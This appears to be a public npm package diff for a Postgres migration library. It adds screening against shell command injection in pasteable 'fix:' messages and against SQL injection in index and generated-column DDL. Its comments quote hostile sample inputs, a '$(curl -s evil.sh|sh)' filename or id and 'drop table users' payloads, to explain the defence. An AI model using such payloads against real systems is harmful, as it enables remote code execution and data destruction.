@ultimat3/db 19.2.0 → 19.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/CLAUDE.md CHANGED
@@ -9,7 +9,7 @@ reaches down to this package for it. **Never** import `entity`, `jobs`, `http` o
9
9
  |---|---|
10
10
  | Deps | none. `@electric-sql/pglite` is an **optional peer**, imported by variable specifier inside `loadPgliteDriver()` so no consumer's `tsc` or bundler resolves it. **No ORM** — `entity`'s hand-written `postgresDriver()` is the production backing |
11
11
  | SQL | `sql` binds `$n`; anything non-scalar and non-fragment throws `X_SQL_UNSAFE` |
12
- | A name reaching a `fix:` | `shellInertIdentifier()` (`sql.ts`), the tree's ONE screen for it, `As of 2026-08-26`. `identifier()` alone does not close it: it refuses `"`, `\` and whitespace and **accepts** a backtick and a `$` — `SAFE_IDENTIFIER` allows `$` on its fast path — which are the two characters a shell substitutes inside DOUBLE quotes. A refused name is left OUT of the command, never escaped into it |
12
+ | A name reaching a `fix:` | `shellInertIdentifier()` (`sql.ts`), the tree's ONE screen for it, `As of 2026-08-26`. `identifier()` alone does not close it: it refuses `"`, `\` and whitespace and **accepts** a backtick and a `$` — `SAFE_IDENTIFIER` allows `$` on its fast path — which are the two characters a shell substitutes inside DOUBLE quotes. A refused name is left OUT of the command, never escaped into it. The one file that cannot call it is `migration-errors.ts` — `sql.ts` imports from it — so that one screens through `@ultimat3/core`'s `renderFixShellArg`, same question, same degradation |
13
13
  | Escape hatches | `raw()`, `identifier()`, `literal()` — each call is an audit point. `literal()` is the tree's ONE SQL-string-literal escape (`scripts/sql-literal-copies.ts`, pinned at zero) and it emits `E'…'` when the value carries a backslash |
14
14
  | SQLSTATE | one reader, `sqlState()` (`sqlstate.ts`). Never read `error.code` for a SQLSTATE |
15
15
  | Reading a caught value | `renderThrowable()` from core; never `error instanceof Error ? error.message : String(error)` — both halves RUN app code (a `Proxy` trap, `Symbol.toPrimitive`) and `checkDb` backs `/readyz`, where a render that throws is an exception in place of the report the kubelet asked for |
@@ -1403,6 +1403,24 @@ survives the round trip whole.
1403
1403
  and the name is read off `cause`/`meta` instead. Every benign rendering is byte-identical: the
1404
1404
  screen sits on the refusal branch alone, because roughly ten pages across `packages/cli`,
1405
1405
  `packages/core`, `wiki/` and `docs/` quote `x db gen "add <name>"` verbatim.
1406
+ **`unknownSchema` was the one finding in that file that never ran it, until 2026-09-06.** Its
1407
+ `fix:` splices a migration id into `git checkout -- "*<id>.snapshot.json"` and a migration name
1408
+ into `x db gen "<name>"`, both inside shell double quotes — and both are FILENAME text
1409
+ (`parseMigrationSql` takes the id off the file and derives the name from it), so a migration
1410
+ called `0002_$(curl -s evil.sh|sh).sql` built a line that runs on paste. Screened and degraded
1411
+ to prose like its neighbours; an **empty** id keeps its glob, because `""` substitutes nothing
1412
+ and that case is "no migrations at all" rather than a name the screen refused
1413
+ (`drift-findings.test.ts`).
1414
+ **`migrationSnapshotMissing` is the same condition one file over, screened the same day.** Its
1415
+ `fix:` leads with `git checkout -- <file>` and then `rm <file-glob> && x db gen "<name>"` — the
1416
+ one `rm` this package tells a reader to paste — off the same filename text. It screens through
1417
+ `@ultimat3/core`'s `renderFixShellArg` rather than `shellInertIdentifier`, because
1418
+ `migration-errors.ts` may not import `sql.ts` (that module imports `identifierUnsafe` from it,
1419
+ and the cycle would run around the module whose evaluation registers every code); the two
1420
+ screens answer the same question and the degradation is identical — the WHOLE line becomes
1421
+ prose, since a `rm` whose argument was substituted away still reads as a command and now removes
1422
+ something else. `x db gen` writes slugified ids (`generate.ts`'s `slugify`), so no id the
1423
+ generator produces is degraded (`snapshot-missing.test.ts`).
1406
1424
 
1407
1425
  - **`dbDrift()` lives in `drift-errors.ts` and not in `errors.ts`, for exactly the reason
1408
1426
  `dependent-view.ts` states.** Its `fix:` needs `shellInertIdentifier` and `sql.ts` imports
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@ultimat3/db",
3
- "version": "19.2.0",
3
+ "version": "19.3.2",
4
4
  "description": "Postgres access, transactions, migrations and drift detection",
5
5
  "license": "MIT",
6
6
  "type": "module",
@@ -31,7 +31,7 @@
31
31
  "test": "bun test"
32
32
  },
33
33
  "dependencies": {
34
- "@ultimat3/core": "19.2.0"
34
+ "@ultimat3/core": "19.3.2"
35
35
  },
36
36
  "peerDependencies": {
37
37
  "@electric-sql/pglite": ">=0.5.0"
@@ -0,0 +1,59 @@
1
+ // The refusals a generated DDL FRAGMENT earns before it is spliced into a statement: an index's
2
+ // direction, its partial predicate, a generated column's expression. Split from `errors.ts`, which
3
+ // is at its ceiling — `invariant-errors.ts`' reason. All three are `X_SQL_UNSAFE`, declared there:
4
+ // an unchecked operand reaching statement text is one situation, and axiom 1 gives it one code.
5
+
6
+ import { describeValue } from '@ultimat3/core';
7
+ import { DbError } from './errors';
8
+
9
+ /**
10
+ * A direction that is not one of the two. `X_SQL_UNSAFE` for the reason `indexMethodInvalid` uses
11
+ * it: `create index … ("c" <order>)` takes no parameters, so the direction is SPLICED into the
12
+ * statement text. `IndexDescriptionLike.order` crosses the tier seam from `@ultimat3/entity`
13
+ * structurally and is validated by nothing on the way, and `snapshot-parse.ts` screens only the
14
+ * RECORDED side — so a hand-edited `.snapshot.json` or a projection this package cannot typecheck
15
+ * reaches `createIndex` unchecked, and `x db gen` writes the result into a file `ROLE=migrate`
16
+ * runs.
17
+ *
18
+ * `describeValue`, never the value, for the reason `indexMethodInvalid` gives: this cause is
19
+ * folded into a problem document and a log line.
20
+ */
21
+ export const indexOrderInvalid = (index: string, received: unknown): DbError =>
22
+ new DbError({
23
+ code: 'X_SQL_UNSAFE',
24
+ cause: `the direction of index "${index}" must be 'asc' or 'desc'; got ${describeValue(received)}`,
25
+ fix: `indexes: [{ on: ['<column>'], order: 'desc' }] # or leave it out for the ascending default, then x db gen`,
26
+ meta: { index },
27
+ });
28
+
29
+ /**
30
+ * A partial index predicate holding more than one command. Read through `statementsOf` — this
31
+ * package's one lexer, so a `;` inside a string literal is data and not a second statement — and
32
+ * refused before it is spliced into `where (…)`.
33
+ *
34
+ * The same screen `declaredChecks` (`check-ddl.ts`) applies to a CHECK's expression, on the same
35
+ * seam: the text arrives from an entity's `indexes: [{ where }]`, from an `invariant(c.unique([…]))`
36
+ * through `uniqueIndexOf`, or from a `.snapshot.json`. `invariant-ddl.ts` says one rule covers
37
+ * every expression, and until this landed the index half had none.
38
+ */
39
+ export const indexPredicateUnsafe = (index: string, count: number): DbError =>
40
+ new DbError({
41
+ code: 'X_SQL_UNSAFE',
42
+ cause: `the predicate of index "${index}" holds ${count} commands; a partial index takes one expression`,
43
+ fix: `indexes: [{ on: ['<column>'], where: 'deleted_at is null' }] # one expression, built with the column DSL, then x db gen`,
44
+ meta: { index, count },
45
+ });
46
+
47
+ /**
48
+ * A generated column's expression holding more than one command, refused before it is spliced into
49
+ * `generated always as (…) stored`. Same lexer and same argument as `indexPredicateUnsafe`: the
50
+ * expression crosses the tier seam as text (`@ultimat3/entity`'s `.searchable()` builds one), and
51
+ * a second command riding it is an injection rather than a typo.
52
+ */
53
+ export const generatedExpressionUnsafe = (column: string, count: number): DbError =>
54
+ new DbError({
55
+ code: 'X_SQL_UNSAFE',
56
+ cause: `the expression of generated column "${column}" holds ${count} commands; a generated column is one expression`,
57
+ fix: `give "${column}" a single expression — .searchable() or generated: 'lower("title")' — then x db gen`,
58
+ meta: { column, count },
59
+ });
@@ -167,20 +167,36 @@ export function missingTable(table: string): DriftDifference {
167
167
  */
168
168
  export function unknownSchema(migrations: readonly Migration[]): DriftDifference {
169
169
  const newest = [...migrations].sort((a, b) => (a.id < b.id ? -1 : 1)).at(-1);
170
+ const id = newest?.id ?? '';
171
+ const name = newest?.name ?? 'initial';
172
+ // Both go inside SHELL DOUBLE QUOTES and both are FILENAME text — `parseMigrationSql` takes the
173
+ // id off the file and derives the name from it — so whoever can add a file to the migrations
174
+ // directory picks what a reader pastes, and `$(…)` and a backtick substitute before `git` or `x`
175
+ // is reached. The same screen `unexpectedColumn` and `changedColumn` already ran, on the one
176
+ // finding in this file that skipped it. Degraded to prose rather than escaped: a glob is not an
177
+ // identifier and a migration description is not one either, so neither has a quoted form that
178
+ // makes a hostile name safe. An EMPTY id is inert by construction and keeps its glob — that is
179
+ // "no migrations at all", not a name this function refused to spell.
180
+ const spellable =
181
+ (id === '' || shellInertIdentifier(id) !== null) && shellInertIdentifier(name) !== null;
170
182
  return {
171
183
  kind: 'unknown-schema',
172
184
  table: '',
173
185
  column: null,
174
186
  cause:
175
- `migration "${newest?.id ?? ''}" records no schema snapshot, so what this database owes ` +
187
+ `migration "${id}" records no schema snapshot, so what this database owes ` +
176
188
  'cannot be established',
177
189
  // The same two remedies `X_MIGRATION_SNAPSHOT_MISSING` names, in the same order, because it is
178
190
  // the same condition. It used to lead with `x db gen`, which raises that error and whose own
179
191
  // fix pointed back here — a cycle a scaffolded app hit on its first `x db migrate`. The
180
192
  // pathspec is a glob because this package is tier 1: only `@ultimat3/cli` knows the directory.
181
- fix:
182
- `git checkout -- "*${newest?.id ?? ''}.snapshot.json" # or, if it was never written: ` +
183
- `delete migration "${newest?.id ?? ''}" and rerun x db gen "${newest?.name ?? 'initial'}"`,
193
+ fix: spellable
194
+ ? `git checkout -- "*${id}.snapshot.json" # or, if it was never written: ` +
195
+ `delete migration "${id}" and rerun x db gen "${name}"`
196
+ : 'restore the .snapshot.json committed beside the newest migration, or delete that ' +
197
+ 'migration and rerun x db gen with its description — the migration named in this ' +
198
+ "difference's cause carries a backtick, a dollar sign, a quote, a backslash or " +
199
+ 'whitespace in its file name, so no command here can spell it',
184
200
  };
185
201
  }
186
202
 
@@ -4,12 +4,14 @@
4
4
  // expression moves are each a rule of their own, and none of them is the ordinary column's.
5
5
 
6
6
  import { assert } from '@ultimat3/core';
7
+ import { generatedExpressionUnsafe } from './ddl-errors';
7
8
  import type { ColumnDescriptionLike } from './entity-shape';
8
9
  import type { Plan } from './foreign-key-plan';
9
10
  import type { ColumnDescription, TableDescription } from './introspect';
10
11
  import type { MovedAside } from './retype-dependents';
11
12
  import { moveDependentsAside } from './retype-dependents';
12
13
  import { identifier } from './sql';
14
+ import { statementsOf } from './statement-split';
13
15
 
14
16
  /** How a column that moved was brought back into line — what the caller has to do next, if anything. */
15
17
  export type Regeneration = 'unchanged' | 'altered' | 'rebuilt';
@@ -46,6 +48,12 @@ export function generatedClause(column: ColumnDescriptionLike): string {
46
48
  `column "${column.column}" is generated by an empty expression`,
47
49
  `give "${column.property}" an expression, or drop the generated declaration`,
48
50
  );
51
+ // The expression is SPLICED, so it is screened for a second command first — the rule
52
+ // `declaredChecks` (`check-ddl.ts`) applies to a CHECK's predicate, on the same seam and with
53
+ // the same lexer, so a `;` inside a string literal stays data. Measured before it:
54
+ // `generated always as (upper(title)); drop table users; --) stored`.
55
+ const commands = statementsOf(expression).length;
56
+ if (commands > 1) throw generatedExpressionUnsafe(column.column, commands);
49
57
  return ` generated always as (${expression}) stored`;
50
58
  }
51
59
 
package/src/index-ddl.ts CHANGED
@@ -5,11 +5,13 @@
5
5
  // statements it puts in it, and `invariant-ddl.ts` decides which indexes a table declares.
6
6
 
7
7
  import { assert } from '@ultimat3/core';
8
+ import { indexOrderInvalid, indexPredicateUnsafe } from './ddl-errors';
8
9
  import type { EntityDescriptionLike, IndexDescriptionLike } from './entity-shape';
9
10
  import type { Plan } from './foreign-key-plan';
10
11
  import { declaredMethod, indexMethodOf, indexMethodSql } from './index-method';
11
12
  import type { IndexDescription } from './introspect';
12
13
  import { identifier } from './sql';
14
+ import { statementsOf } from './statement-split';
13
15
 
14
16
  /**
15
17
  * A `unique` column clause already creates an index, and Postgres names it exactly what the
@@ -39,6 +41,44 @@ export function impliedByColumnClause(
39
41
  return column !== undefined && column.unique && !column.primaryKey && added.has(only);
40
42
  }
41
43
 
44
+ /**
45
+ * The direction, re-derived from the closed set and never spliced — `indexMethodSql`'s rule, for
46
+ * the identical operand hazard. The TYPE is not the guard: `IndexDescriptionLike.order` crosses
47
+ * the tier seam from `@ultimat3/entity` structurally and `snapshot-parse.ts` screens only the
48
+ * RECORDED side, so `order: 'desc; drop table users; --'` type-checked all the way into
49
+ * `create index "posts_x_idx" on "posts" ("slug" desc; drop table users; --);` — a file
50
+ * `ROLE=migrate` runs. `''` for `null`, so an index that declared no direction emits the statement
51
+ * this generator always emitted, byte for byte.
52
+ */
53
+ function indexOrderSql(index: IndexDescriptionLike): string {
54
+ switch (index.order) {
55
+ case null:
56
+ return '';
57
+ case 'asc':
58
+ return ' asc';
59
+ case 'desc':
60
+ return ' desc';
61
+ default: {
62
+ const unhandled: never = index.order;
63
+ throw indexOrderInvalid(index.name, unhandled);
64
+ }
65
+ }
66
+ }
67
+
68
+ /**
69
+ * The partial predicate, screened for a second command before it is spliced into `where (…)`.
70
+ * `declaredChecks` (`check-ddl.ts`) applies exactly this to a CHECK's expression and
71
+ * `invariant-ddl.ts` says one rule covers every expression — the index half had none, and it is
72
+ * fed by `indexes: [{ where }]` and by `invariant(c.unique([…]))` through `uniqueIndexOf`.
73
+ * `statementsOf` is this package's one lexer, so a `;` inside a string literal stays data.
74
+ */
75
+ function indexPredicateSql(index: IndexDescriptionLike): string {
76
+ if (index.where === null) return '';
77
+ const commands = statementsOf(index.where).length;
78
+ if (commands > 1) throw indexPredicateUnsafe(index.name, commands);
79
+ return ` where (${index.where})`;
80
+ }
81
+
42
82
  /**
43
83
  * Every part of the declaration reaches the statement: the whole column list in its declared
44
84
  * order, the direction when one was asked for, and the predicate that makes it partial. A part
@@ -67,11 +107,11 @@ export function createIndex(table: string, index: IndexDescriptionLike): string
67
107
  `indexes: [{ on: ['<column>'], using: '${method}' }] # drop order, or drop using`,
68
108
  );
69
109
  const kind = index.unique ? 'create unique index' : 'create index';
70
- const direction = index.order === null ? '' : ` ${index.order}`;
110
+ const direction = indexOrderSql(index);
71
111
  const columns = index.columns
72
112
  .map((column) => `${identifier(column).text}${direction}`)
73
113
  .join(', ');
74
- const predicate = index.where === null ? '' : ` where (${index.where})`;
114
+ const predicate = indexPredicateSql(index);
75
115
  // Re-derived from the closed set, never spliced: `indexMethodSql` answers `''` for a btree, so
76
116
  // an index that declared no method emits the statement this generator always emitted, byte for
77
117
  // byte, and one that declared a method Postgres does not have is refused instead of built.
package/src/index.ts CHANGED
@@ -32,6 +32,11 @@ export type { ColumnDefaultLike } from './column-default';
32
32
  export { defaultExpression } from './column-default';
33
33
  export type { DbHealthReport } from './db-health';
34
34
  export { checkDb } from './db-health';
35
+ export {
36
+ generatedExpressionUnsafe,
37
+ indexOrderInvalid,
38
+ indexPredicateUnsafe,
39
+ } from './ddl-errors';
35
40
  export { defaultClient, REPLICA_URL_ENV } from './default-client';
36
41
  export type { DestructiveKind, DestructiveStatement } from './destructive';
37
42
  export {
package/src/migrate.ts CHANGED
@@ -164,8 +164,7 @@ export function auditLedger(
164
164
  // and backfill — and this is one of the two errors most likely to fire during a real deploy.
165
165
  // A `fix:` is copied and run verbatim, so it names the ledger read that works anywhere psql
166
166
  // does, and the one edit that resolves the disagreement.
167
- `deploy app version "${first.app_version}" — or, if that build is gone, drop its row: ` +
168
- `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} where id = '${first.id}'"`,
167
+ conflictFix(first),
169
168
  );
170
169
  }
171
170
 
@@ -181,6 +180,35 @@ export function auditLedger(
181
180
  }
182
181
  }
183
182
 
183
+ /**
184
+ * The migration id is the DATABASE's own text — whoever can write a ledger row picks what lands in
185
+ * a line an operator pastes — and it goes inside SHELL DOUBLE QUOTES, where `$(…)` and a backtick
186
+ * substitute before psql is reached at all. Measured before this screen: an id of
187
+ * `$(curl -s evil.sh|sh)` produced exactly that command.
188
+ *
189
+ * So the id does not go in as text. It goes in **base64**, decoded by Postgres itself
190
+ * (`convert_from(decode(…,'base64'),'UTF8')`), and the base64 alphabet is `A-Za-z0-9+/=` — every
191
+ * character of it inert in shell double quotes and inert inside a SQL string literal. One command
192
+ * shape for every ledger row there can be, with no screen, no branch and no escape to get wrong.
193
+ *
194
+ * It DID branch: `shellInertIdentifier` screened both the id and the app version, and a refusal
195
+ * degraded the whole line to prose naming no command — so a row could take the one instruction
196
+ * away from the operator by holding a space. An error that stops being an instruction under
197
+ * adversarial input is an error the adversary silenced (axiom 4). The version is not in the line
198
+ * at all any more; the CAUSE already names it, and the fix's job is to be runnable.
199
+ *
200
+ * The id is unreadable in the command, and that is the trade: `cause:` is where a human reads
201
+ * which migration this is, `fix:` is where they paste. `psql` echoes the row count it deleted.
202
+ */
203
+ function conflictFix(row: LedgerRow): string {
204
+ const encodedId = Buffer.from(row.id, 'utf8').toString('base64');
205
+ return (
206
+ 'deploy the app version this error names — or, if that build is gone, drop its row: ' +
207
+ `psql "$DATABASE_URL" -c "delete from ${LEDGER_TABLE} ` +
208
+ `where id = convert_from(decode('${encodedId}', 'base64'), 'UTF8')"`
209
+ );
210
+ }
211
+
184
212
  export function pendingMigrations(
185
213
  ledger: readonly LedgerRow[],
186
214
  migrations: readonly Migration[],
@@ -5,6 +5,7 @@
5
5
  // was: every code below is still declared, titled and registered there, and `DbError` is still the
6
6
  // one class. One direction only — nothing here is imported back.
7
7
 
8
+ import { renderFixShellArg } from '@ultimat3/core';
8
9
  import { DESTRUCTIVE_CAUSE, DESTRUCTIVE_MARKER, type DestructiveStatement } from './destructive';
9
10
  import { DbError } from './errors';
10
11
 
@@ -88,13 +89,32 @@ const snapshotSiblings = (file: string): string => file.replace(/\.snapshot\.jso
88
89
  */
89
90
  const migrationNameOf = (id: string): string => id.replace(/^\d+_/, '') || id;
90
91
 
92
+ /**
93
+ * Can a command spell this value at all? `renderFixShellArg` (`@ultimat3/core`) answers the
94
+ * placeholder for anything a shell would READ, so a value that comes back unchanged is one that
95
+ * travels verbatim. `shellInertIdentifier` is `sql.ts`'s answer to the same question and is
96
+ * deliberately not used here: that module imports `identifierUnsafe` from this one, and an import
97
+ * cycle around the module whose evaluation REGISTERS every code is not a cycle worth having.
98
+ */
99
+ const shellSpellable = (value: string): boolean =>
100
+ value !== '' && renderFixShellArg(value, '') === value;
101
+
91
102
  /**
92
103
  * The sidecar every generated migration writes is what the *next* generation diffs against, so a
93
104
  * newest migration without one leaves nothing to diff. Refused rather than defaulted to the empty
94
105
  * schema, which would generate `create table` for every table the database already holds.
95
106
  */
96
- export const migrationSnapshotMissing = (id: string, file: string): DbError =>
97
- new DbError({
107
+ export const migrationSnapshotMissing = (id: string, file: string): DbError => {
108
+ // Both values are FILENAME text — `parseMigrationSql` reads the id off the file — so whoever can
109
+ // add a file to the migrations directory picks what a reader pastes, and `rm` is the one command
110
+ // in this package that cannot be taken back. The name lands inside SHELL DOUBLE QUOTES, where
111
+ // `$(…)` and a backtick substitute before `x` is reached at all, and a migration description has
112
+ // no quoted form that would make a hostile one safe to pass. So the whole line degrades to prose
113
+ // rather than half of it being escaped — the same screen and the same degradation `unknownSchema`
114
+ // (`drift-findings.ts`) runs on the same condition. A `rm` whose argument was substituted away
115
+ // still reads as a command, and now removes something else.
116
+ const spellable = shellSpellable(file) && shellSpellable(migrationNameOf(id));
117
+ return new DbError({
98
118
  code: 'X_MIGRATION_SNAPSHOT_MISSING',
99
119
  cause: `migration "${id}" records no schema snapshot (${file}), so there is nothing to diff against`,
100
120
  // Two remedies, both commands, in the order they are safe to try. "restore from version
@@ -102,11 +122,16 @@ export const migrationSnapshotMissing = (id: string, file: string): DbError =>
102
122
  // nothing to restore — and the drift this refusal answers named `x db gen` as *its* fix, so
103
123
  // the two errors pointed at each other and an app's first migration had no way out.
104
124
  // `x db gen` is named only *after* the files it would trip over are gone.
105
- fix:
106
- `git checkout -- ${file} # or, if it was never written: ` +
107
- `rm ${snapshotSiblings(file)} && x db gen "${migrationNameOf(id)}"`,
125
+ fix: spellable
126
+ ? `git checkout -- ${file} # or, if it was never written: ` +
127
+ `rm ${snapshotSiblings(file)} && x db gen "${migrationNameOf(id)}"`
128
+ : 'restore the .snapshot.json committed beside this migration, or delete every file that ' +
129
+ 'migration owns and rerun x db gen with its description — the file named in this ' +
130
+ "error's cause carries a backtick, a dollar sign, a quote, a backslash or whitespace, " +
131
+ 'so no command here can spell it',
108
132
  meta: { id, file },
109
133
  });
134
+ };
110
135
 
111
136
  /**
112
137
  * One error per file, never one per statement: the marker declares the whole migration, so a